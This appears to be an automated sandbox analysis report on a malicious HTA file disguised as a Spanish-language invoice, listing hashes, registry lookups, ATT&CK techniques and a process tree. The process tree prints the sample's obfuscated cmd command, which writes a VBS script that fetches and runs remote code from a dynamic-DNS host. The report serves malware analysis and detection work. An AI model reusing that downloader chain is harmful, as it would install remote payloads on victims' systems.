1ad8a50c9315a914fbc345837676559acae4c0d1ac42f6ce0b4354c69729a60b

Analysis

max time kernel
100s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20231023-es
resource tags

arch:x64arch:x86image:win10v2004-20231023-eslocale:es-esos:windows10-2004-x64systemwindows
submitted
23-10-2023 19:31

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General

Target

SAC160504U42_COMPROBANTE_S970919JG1_FACTURASP_332461_MARG711102MB2_gVTKufbLVo6.hta
Size

48KB
MD5

20420b4fa418a91a3d745e48dacc4d9c
SHA1

040be9423dc01fb91ff7ea848fb9403c735f50e6
SHA256

1ad8a50c9315a914fbc345837676559acae4c0d1ac42f6ce0b4354c69729a60b
SHA512

327b0840fcf6e9553e3b06df13d5709a4165f284306d34e28aa46f4b5524dc870e6c5e9a4943b3c135e47ef2638df42973817d33b48b198a3e47f5066dcf4dce
SSDEEP

1536:CJPY1TSoDMFKb0PBY0+HOCPY1TSoDMFKb0PBY0+HOK:CW1+oAYgPBYNs1+oAYgPBYNp

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	528	WScript.exe
4	528	WScript.exe
6	528	WScript.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2231940048-779848787-2990559741-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2231940048-779848787-2990559741-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2231940048-779848787-2990559741-1000_Classes\Local Settings	cmd.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 844 wrote to memory of 2128	844	mshta.exe	79
PID 844 wrote to memory of 2128	844	mshta.exe	79
PID 844 wrote to memory of 2128	844	mshta.exe	79
PID 2128 wrote to memory of 1292	2128	cmd.exe	81
PID 2128 wrote to memory of 1292	2128	cmd.exe	81
PID 2128 wrote to memory of 1292	2128	cmd.exe	81
PID 2128 wrote to memory of 4408	2128	cmd.exe	82
PID 2128 wrote to memory of 4408	2128	cmd.exe	82
PID 2128 wrote to memory of 4408	2128	cmd.exe	82
PID 2128 wrote to memory of 3320	2128	cmd.exe	83
PID 2128 wrote to memory of 3320	2128	cmd.exe	83
PID 2128 wrote to memory of 3320	2128	cmd.exe	83
PID 2128 wrote to memory of 3476	2128	cmd.exe	84
PID 2128 wrote to memory of 3476	2128	cmd.exe	84
PID 2128 wrote to memory of 3476	2128	cmd.exe	84
PID 2128 wrote to memory of 4492	2128	cmd.exe	85
PID 2128 wrote to memory of 4492	2128	cmd.exe	85
PID 2128 wrote to memory of 4492	2128	cmd.exe	85
PID 4492 wrote to memory of 528	4492	cmd.exe	86
PID 4492 wrote to memory of 528	4492	cmd.exe	86
PID 4492 wrote to memory of 528	4492	cmd.exe	86

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\SAC160504U42_COMPROBANTE_S970919JG1_FACTURASP_332461_MARG711102MB2_gVTKufbLVo6.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:844
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /k echo|set /p=^"ne0Yz=".":VtGoc="i":dH0Riqm="g":NMugvLu=":":GetO^">C:\\Users\\Public\\chgzgR.vbs&echo|set /p=^"bject("sCr"+VtGoc+"pt"+NMugvLu+"hT"+"Tps"+NMugvLu+"//sac1"+ne0Yz+"ddns"+ne0Yz+"net//"+dH0Riqm+"1")^">>C:\\Users\\Public\\chgzgR.vbs&c:\\windows\\system32\\cmd.exe /c start C:\\Users\\Public\\chgzgR.vbs
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2128
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo"
    3⤵
    PID:1292
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" set /p="ne0Yz=".":VtGoc="i":dH0Riqm="g":NMugvLu=":":GetO" 1>C:\\Users\\Public\\chgzgR.vbs"
    3⤵
    PID:4408
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo"
    3⤵
    PID:3320
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" set /p="bject("sCr"+VtGoc+"pt"+NMugvLu+"hT"+"Tps"+NMugvLu+"//sac1"+ne0Yz+"ddns"+ne0Yz+"net//"+dH0Riqm+"1")" 1>>C:\\Users\\Public\\chgzgR.vbs"
    3⤵
    PID:3476
- - \??\c:\windows\SysWOW64\cmd.exe
    c:\\windows\\system32\\cmd.exe /c start C:\\Users\\Public\\chgzgR.vbs
    3⤵
    - Checks computer location settings
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:4492
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Public\chgzgR.vbs"
      4⤵
      Blocklisted process makes network request
      PID:528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\chgzgR.vbs

Filesize
146B

MD5
a735c14e93a0b91011ad7d5c618117f9

SHA1
bb91f5a893d3b23b1696fba79e27ea728a9374af

SHA256
32fc1d2002831c9c6d995d34c8e306447c5ed3b8d079a1a274dda886fa11107c

SHA512
3062d9867980f78b5567bd63e1c57f7ad2599158025997fc09668db51639c2afaa97730e8b531e7ed655f00dad3185a5397fe9a4faa966fee0a1cb373df29ddd

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C:\Users\Public\chgzgR.vbs

Filesize
146B

MD5
a735c14e93a0b91011ad7d5c618117f9

SHA1
bb91f5a893d3b23b1696fba79e27ea728a9374af

SHA256
32fc1d2002831c9c6d995d34c8e306447c5ed3b8d079a1a274dda886fa11107c

SHA512
3062d9867980f78b5567bd63e1c57f7ad2599158025997fc09668db51639c2afaa97730e8b531e7ed655f00dad3185a5397fe9a4faa966fee0a1cb373df29ddd

Download Submit